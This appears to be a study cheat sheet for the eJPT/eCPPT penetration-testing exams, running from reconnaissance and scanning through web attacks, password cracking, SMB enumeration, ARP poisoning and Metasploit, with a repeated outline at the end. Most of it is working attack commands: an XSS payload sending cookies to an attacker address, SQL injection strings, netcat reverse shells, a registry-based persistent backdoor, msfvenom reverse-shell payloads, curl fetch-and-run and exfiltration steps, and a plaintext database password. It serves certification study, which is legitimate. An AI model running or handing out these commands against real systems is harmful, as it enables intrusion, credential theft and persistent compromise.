eJPT/eCPPT Notes

Useful Notes for the eJPT and eCPPT exams.

Methodology

Testing Checklist

Refer to the OWASP Testing Checklist: Testing Checklist

Routing

Check Routes

Command: route

Add Route

Command: ip route add <network_ip>/<cidr> via <gateway_ip> dev <network_card_name>

Start Python Server

Recommended to change into /tmp directory
Command: python -m SimpleHTTPServer 8080
Put things in the same directory to access them via a webpage

Web

Netcat

Start a connection: nc -v hack.me 80
- Make GET request:
  GET / HTTP/1.1 Host: hack.me
- Only works for HTTP

For HTTPS use OpenSSL

Command: openssl s_client -connect hack.me:443
- Use -debug, -state for more info
- Use -quiet to remove connection info

Information Gathering

Open Source

Crunchbase: IT startup database, information about founders, investors, employees, buyouts, acquisitions
Whois Database: Owner name, address, email, technical contacts

Subdomain Enumeration

Passive Enumeration

Google query: "site:company.com"
Tools:
- dnsdumpster.com
- virustotal.com: Search cached DNS subdomains
- crt.sh: Collect SSL certificates and valid domain names
- Inspecting certificates on domains may lead to more subdomains

Tools for Subdomain Enumeration

sublist3r:
- Command: sublist3r -d google.com
- Has brute force option that parses provided wordlist

amass:

Install:

apt install snapd
service start snapd
snap install amass
snap run amass

Example: snap run amass -ip -d google.com

Footprinting & Scanning

Mapping a Network

fping performs a ping sweep on an IP range:

Commands:

fping -a -g 10.54.12.0/24
fping -a -g 10.54.12.0 10.54.12.255
fping -a -g 10.54.12.0/24 2>/dev/null

nmap can perform ping scans with the -sn flag:

Command:

nmap -sn 200.200.0.0/16
nmap -sn 200.200.123.1-12
nmap -sn 172.16.12.*
nmap -sn 200.200.12-13.*
nmap -iL <file_with_hosts>

OS Fingerprinting

nmap can fingerprint OS with -O flag, use -Pn flag to skip ping:
- Command: nmap -O -Pn <targets>

Port Scanning

TCP Connect Scan:
- SYN -> <- SYN + ACK
- ACK -> RST + ACK (closes connection)
Scanning Closed Port:
- SYN -> <- RST + ACK (port is closed)

nmap Port Scanning

Common Flags:
- -sT: TCP connect scan
- -sS: SYN scan
- -sV: Version detection
- -Pn: Skips ping sweep, useful if network has firewalls or blocks ICMP packets

Spotting Firewall

Incomplete nmap results on well-known services like a web server:
- Example: “http?” or “tcpwrapped” means remote host closed connection without receiving data
- Use nmap --reason to get more information on why a port is open or closed

masscan

Used for scanning large networks quickly, not as accurate as nmap:

Example:

./masscan -p 80,443,22 -Pn --rate=800 --banners 10.142.111.0/24 -e tap0 --router-ip 10.142.111.1 --echo > masscan.txt

Vulnerability Assessment

Nessus

Popular vulnerability scanner, uses a client & server:
- Starts with a ping sweep and port scan, then probes each daemon and cross-checks responses with a vulnerability database
- Prone to false positives

Installing Nessus

Command: dpkg -i nessus.deb

Usage

Commands:
```
service nessusd start
```
Open web interface (may need to add security exception)
Setup custom policy and scan using GUI, export results

Web Attacks

Web Server Fingerprinting

Netcat:
- Command: nc <target_ip> 80
- After connecting, send a valid HTTP request:
  HEAD /HTTP/1.1
- Netcat only works on HTTP websites, for HTTPS use OpenSSL:
  - Command: openssl s_client -connect target.site:443
  - Example:
    HEAD / HTTP/1.0

Automated Fingerprinting Tool httprint

Example: httprint -P0 -h <target_ip> -s /usr/share/httprint/signatures.txt
Flags:
- -P0: Not ping web server
- -h: Define host
- -s: Define signature file

HTTP Verbs

GET: Used to request resource

GET /page.php HTTP/1.1
HOST: www.example.com

POST: Used to submit HTML form data

POST /login.php HTTP/1.1
HOST: www.example.com
username=John&password=yourmom

HEAD: Used to grab header
```
HEAD / HTTP/1.1
HOST: www.example.com
```

PUT: Used to upload file to server

PUT /path/to/destination HTTP/1.1
HOST: www.example.com

<Put data>

You must know the size of the file you are trying to upload

Example:

wc -m payload.php
20 payload.php

PUT /payload.php HTTP/1.1
Content-type: text/html
Content-length: 20

<?php phpinfo(); ?>

DELETE: Used to remove file from server

DELETE /path/to/destination HTTP/1.1
HOST: www.example.com

OPTIONS: Used to query web server for available HTTP verbs
```
OPTIONS / HTTP/1.1
HOST: www.example.com
```

Netcat

Setup nc Listener or Server

Command: nc -lvp 8888
Connect to nc listener: nc -v 127.0.0.1 8888
To make connection UDP: Add -u
Sending file over nc:
- Command: cat tobesent.txt | nc -v 127.0.0.1 8888
Reverse Shell:
- Command: nc -lvp 1337 -e /bin/bash

Dirbuster / Dirb

Dirbuster

GUI based directory enumerator

Dirb

Command line based directory enumerator

Basic Usage

Commands:

apt install dirb
dirb http://google.com
dirb http://google.com /usr/share/dirb/wordlists/small.txt

Common Flags

-a: Change user agent to make request look like they come from a browser, useragentstring.com
-c “COOKIE: XYZ”: Specifies cookie in request
-u “admin:password”: User authentication in request
-H “My Header: My content”: Add header into request
-r: Turn off recursive search “sub directories”
-z 1000: Changes speed to one request a second
-s: Silent mode: only displays items that were found
-X “.php,.bak”: Append extensions to word list
-x extensions.txt: Include file with extensions
-o results.txt: Saved results in output file

Run dirb through Proxy “Burp”

Command: dirb http://google.com -p http://127.0.0.1:8080

MySQL

Command:

mysql -u awdmgmt -pUChxKQk96dVtM07 -h 10.104.11.198

-u for user
-p for password (no space)

Google Dorking

site: Only include results from specified host
intitle: Filters results based on title of page
inurl: Text included in URL
filetype: Used to search for specific file extensions .pdf, .xls
AND, OR, &, |: Logical operators for queries
-: Used to filter out words

Cross-Site Scripting (XSS)

Overview

Occurs when web application uses unfiltered user input to build the output content displayed to its end users; this lets an attacker control the HTML and Javascript code, thus attacking the application user.

User Input

Any parameter coming from client side of web app such as:
- Request headers
- Cookies
- Form inputs
- POST parameters
- GET parameters

Payloads

Alert that XSS is there:
```
<script>alert("oh boy xss");</script>
```

Steal cookies:

<script>alert(document.cookie);</script>

Steal cookies and send them to attacker controlled site:

<script>
var i = new Image();
i.src="http://192.168.99.11/get.php?cookies="+document.cookie;
</script>

SQL

Example Query

Command:

SELECT name, description FROM products WHERE id=9;

Web App Use

In order for a web app to use database it must:
- Connect to database
- Submit query
- Retrieve results before applications can use results

Example SQL Injection

Command:

' OR 'a' ='a
' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a

Finding Injection Points

Test every supplied user input used by the web app:
- GET parameters
- POST parameters
- HTTP headers:
  - User-Agent
  - Cookie
  - Accept

Input SQL Injection

String terminators: ', "
Commands: SELECT, UNION
SQL Comments: #, --

SQL Functions

Commands:

show databases;         // shows databases
use selected_db;        // replace selected_db with db
show tables;            // shows tables in selected db
select * from flag;     // shows all records in flag
update users set adm="yes" where username="tracking1";   // update records in db

More Commands

SELECT user(); // displays current database user
select substring(user(), 1, 1) = 'r'; // returns a true or false (0 or 1), effective for learning more about what db contains

Union Based Injection

Commands:

UNION SELECT user(); -- -;
UNION SELECT null, null; -- - // two fields in this example
UNION SELECT 'els1', 'els2', 'els3'; -- -

SQLMap

Overview

Open source penetration testing tool that automates process of detecting SQL injection
Capable of both detecting and exploiting
Always recommended to test by hand first to avoid crashing DB

Basic Syntax

Command:

sqlmap -u <URL> -p <injection_parameters> [options]

Examples

Command:
```
sqlmap -u 'http://victim.site/view.php?id=1' -p id --technique=U
```
- Test the id parameter of the GET request for view.php, tells sqlmap to use UNION based injection

To test POST request:

sqlmap -u <URL> --data=<POST_String> -p parameter [options]

Command:

sqlmap -u http://sql.site/view.php?id=1
sqlmap -u http://sql.site/view.php?id=1 -b
sqlmap -u http://sql.site/view.php?id=1 --tables 
sqlmap -u http://sql.site/view.php?id=1 --current-db selfie4u --columns 
sqlmap -u http://sql.site/view.php?id=1 --current-db selfie4u --dump

More SQLMap Syntax

-v3: Displays queries used
--users: Enumerate users
--dns: See what dbs are connected
-D dbname --tables: Specify db and enumerate tables
-T specified table --columns: Grab columns from specified tables
-C specify columns, column2 --dump: Dump records of specified columns
--data='user=a&pass=a': POST injection, grab post info from burp-suite

Metasploit SQL Enumeration

Use auxiliary/scanner/mssql/mssql_login

Backdoors

Hide ncat in Windows systems32 directory

Forward Shell

On Windows machine:
```
ncat -l -p 5555 -e cmd.exe
```
On attacker machine:
```
ncat 192.168.0.25 5555
```

Reverse Shell

On attacker machine:
```
ncat -l -p 5555 -v
```
On Windows machine:
```
ncat -e cmd.exe 192.168.0.24 5555
```

Persistent Backdoor

Start listener on attacker machine
Open regedit on Windows machine
Navigate to Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Right-click and add new string value, name ncat, edit string value and add path to ncat binary along with reverse shell syntax: "C:\Windows\System32\ncat.exe <attacker_ip> <port> -e cmd.exe"
Restart victim machine to activate shell

Password Attacks

JohnTheRipper

After acquiring /etc/passwd (hashed passwords on Linux system) & /etc/shadow (users on Linux system), John needs user and pass to be in the same file:
- Command:
  unshadow passwd shadow > crackme
- Brute Force:
  john --incremental --user:<users_to_crack> <file_to_crack>
- To display passwords recovered by John:
  john --show crackme
- Cracked passwords stored in file

Dictionary Attack

Command:

john --wordlist=custom_wordlist --rules <file_to_crack>

Good wordlist to install:
```
apt-get install seclists
```

Rainbow Tables

Tables containing passwords that have been pre-hashed saving time and computational power.
Ophcrack: Rainbow table password cracking tool

Authentication Cracking

Hydra

Tools used for cracking network services such as HTTP, SSH, FTP, etc.

Syntax:

hydra -L users.txt -P pass.txt <service://server> <options>

Configuring Hydra

Inspect page source
Figure out how credentials are being sent to server (POST)
Figure out names of parameters being sent (pwd, usr)

Example Webpage:

hydra crackme.site http-post-form "/login.php:usr=^USR^&pwd=^PASS^:invalid credentials" -L /usr/share/ncrack/minimal.usr -P /usr/share/seclists/Passwords/rockyou.txt -f -V

-L: List of user names
-P: List of passwords
-f: Hydra will stop after first credential found
-V: Verbosity

Example SSH:

hydra 192.168.102.143 ssh -L /usr/share/ncrack/minimal.usr -P /usr/share/seclists/Passwords/rockyou-10.txt -f -V

Windows Shares

UNC or Universal Naming Convention Paths

\\servername\ShareName\file.net

Administrative Shares

\\ComputerName\C$: Lets admin access volume on local machine
\\ComputerName\admin$: Points to the Windows installation directory
\\ComputerName\ipc$: Used for interprocess communication

Nul Sessions

An anonymous connection to an inter-process communication network service on Windows-based computers:
1. Check and see if the target has any file server enabled
2. nbstat -A 10.123.162.2 or nbstat \? for help
3. The third line down will tell you if the target is sharing any files in the <> field
4. If file server is enabled, enumerate shares with NET VIEW
5. NET VIEW <target_ip>
6. Try to connect to share
7. NET USE \\<target_ip>\IPC$ '' /u:'' (connect to the IPC$ share without authentication)

enum:

Script that automates enumeration of shares

Commands:

enum -S <target_ip>  // enumerates shares
enum -U <target_ip>  // enumerates users
enum -P <target_ip>  // enumerates password policies

winfo:

Another enumeration tool

Command:

winfo <target_ip> -n  // -n for null session

Linux Version

nmblookup -A <target_ip>
smbclient -L \\:<target_ip> -N

Use instead: smbclient -L <WORKGROUP> -I <TARGET_IP> -N -U "" (allows you to see services on target, -N forces no password)

smbclient //<target_ip>/IPC$ -N

Use instead: smbclient \\\\<target_ip>\\<target_share> -N (connects to IPC share without authentication)

Enumeration Scripts

enum4linux script:
- Enumerates shares
- Brute force enumeration:
  enum4linux -s /usr/share/enum4linux/share-list.txt <target_ip>

samrdump.py:

Enumerates info about users using null sessions

Command:

/usr/share/doc/python-impacket-doc/examples# python samrdump.py <target_ip>

nmap smb enumeration:

Commands:

nmap --script=smb-enum-shares <target_ip>  // enumerates shares
nmap --script=smb-enum-users <target_ip>  // enumerates users
nmap --script=smb-brute <target_ip>  // brute force authentication

ARP Poisoning

Works by changing the ARP caches on two network nodes. Attacker sends unsolicited ARP packets to the two nodes telling them to route traffic through the attacker computer.

Enable Packet Forwarding

Command:
```
echo 1 > proc/sys/net/ipv4/ip_forward 
```

Dsniff

Tool used for ARP poisoning:
- Example:
  arpspoof -i <interface> -t <target> -r <host>
  - -i: NIC
  - -t & -r: Victims
You can then run Wireshark to see the traffic

Metasploit

Framework for Exploiting Machines

Requirements Before Use

Commands:

service postgresql start
service metasploit start

Start

Command: msfconsole

Help

Command: show -h

Search

Command: search <search_term>

Show All Exploits

Command: show exploits

Use Exploit

Command: use exploit/windows/ftp/turboftp_port

Go "Back"

Command: back

Get Info About Exploit

Command: info

See Exploit Options

Command: options

Configure Exploit Parameters

Command: set

See Available Payloads

Command: show payloads

Set Payload

Command:

set payload windows/meterpreter/reverse_tcp

Launch Exploit/Payload

Command: exploit

Create Listener

Commands:

use exploit/multi/handler
set payload php/reverse_php
set payload php/meterpreter_reverse_php
set payload php/meterpreter_reverse_tcp

Upgrade to Meterpreter

Commands:

background current session
use post/multi/manage/shell_to_meterpreter

Scan for SMB Vulnerabilities with nmap

Command:

nmap --script smb-check-vulns.nse --script-args=unsafe=1 <target_ip>

Meterpreter

Advanced Shell

Search for Meterpreter Payloads

Command: search meterpreter

Put Session in Background

Command: background

List Current Sessions

Command: sessions -l

Resume Session

Command: sessions -i 1

Get Info About Machine

Command: sysinfo

Network Info

Command: ifconfig

Routing Tables

Command: route

Get Current User ID

Command: getuid

Elevate Privilege

Command: getsystem
- If operation fails, try the following:
  1. Background session
  2. Search bypassuac
  3. Use exploit /windows/local/bypassuac
  4. Set session
  5. Exploit

Uploading/Downloading Files

Command: upload <path> or download <path>

Use Standard OS Shell

Command: shell

See All Processes Running

Command: ps

See Process Meterpreter is Attached to

Command: getpid

Check UAC

Command: run post/windows/gather/win_privs

Migrating Process to be Stealthy

When migrating process, the new process must have the same level of privilege:
- Command: ps -U SYSTEM
- This command will search for all other processes with system-level privilege:
  - Command: migrate <pid>

Remote Code Execution (RCE)

Blind RCE

Test bash sleep command to see if page is delayed:
- Command: sleep 5

Testing Network Connectivity

Use Wireshark to pick up ICMP packets:
- Command: ping <attacker> -c 5
- May need to use URL encoding to keep syntax intact

Testing Webshell

Get Paths to Installed Programs

Command: echo $PATH

Look for Specific Tools

Command: which <tool>

Curl

See if You Can Establish TCP Connection

On Attacker:
- Setup listener with nc: nc -lvp 53
On Target:
- Establish TCP with curl: curl http://<attacker_ip>:<attacker_port>

Test Commands with Curl

Commands:

curl http://<attacker_ip>:<attacker_port>/'whoami'

Test Commands with Spaces in the Output with Curl

Commands:
```
curl http://<attacker_ip>:<attacker_port>/'id'
```
- Command above will not display properly because there are spaces in the output, need to encode to see full output:
  - Command:
    curl http://<attacker_ip>:<attacker_port>/'id|base64'
- To decode:
  - Command:
    echo "fsdaflasdfsjdf" | base64 -d

Downloading Files with Curl

Command:

curl http://<attacker_ip>:<attacker_port>/file -T /etc/issue

Uploading Files

Start simple Python HTTP server:

Command:
```
python -m SimpleHTTPServer 9090
```
All files in directory you start Python server in will be available via server

Generate payload & store it in server directory:

Command:

msfvenom -p linux/x64/shell_reverse_tcp lhost=<attacker_ip> lport=<port_on_listener> -f elf -o reverse53

Get payload on victim machine:

Command:

curl http://<attacker_server>:<server_port>/reverse53 -o /tmp/r
chmod +x /tmp/r

Test if file was uploaded by downloading it:

Command:

curl http://<victim_ip>:<victim_port>/ -T /tmp/r

Running payload:

Command:
```
start nc listener
/tmp/r
```

Spawning a Better Shell:

Command:
```
bash -i
```
Spawns bash environment
There are lots of shells you can easily spawn, look them up “spawning tty shell”:
- Command:
  python -c 'import pty; pty.spawn("/bin/bash")';

Pivoting with Meterpreter

Command:

background current session and then:
run autoroute -s 172.16.50.0/24

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Methodology

Testing Checklist

Routing

Check Routes

Add Route

Start Python Server

Web

Netcat

For HTTPS use OpenSSL

Information Gathering

Open Source

Subdomain Enumeration

Footprinting & Scanning

Mapping a Network

OS Fingerprinting

Port Scanning

Spotting Firewall

masscan

Vulnerability Assessment

Nessus

Web Attacks

Web Server Fingerprinting

HTTP Verbs

Netcat

Setup nc Listener or Server

Dirbuster / Dirb

Dirbuster

Dirb

MySQL

Login to MySQL Server

Google Dorking

Cross-Site Scripting (XSS)

Overview

User Input

Payloads

SQL

Example Query

Web App Use

Example SQL Injection

Finding Injection Points

Input SQL Injection

SQL Functions

More Commands

Union Based Injection

SQLMap

Overview

Basic Syntax

Examples

More SQLMap Syntax

Metasploit SQL Enumeration

Backdoors

Hide ncat in Windows systems32 directory

Forward Shell

Reverse Shell

Persistent Backdoor

Password Attacks

JohnTheRipper

Rainbow Tables

Authentication Cracking

Hydra

Windows Shares

UNC or Universal Naming Convention Paths

Administrative Shares

Nul Sessions

Linux Version

Enumeration Scripts

ARP Poisoning

Enable Packet Forwarding

Dsniff

Metasploit

Framework for Exploiting Machines

Start

Help

Search

Show All Exploits

Use Exploit

Go "Back"

Get Info About Exploit

See Exploit Options

Configure Exploit Parameters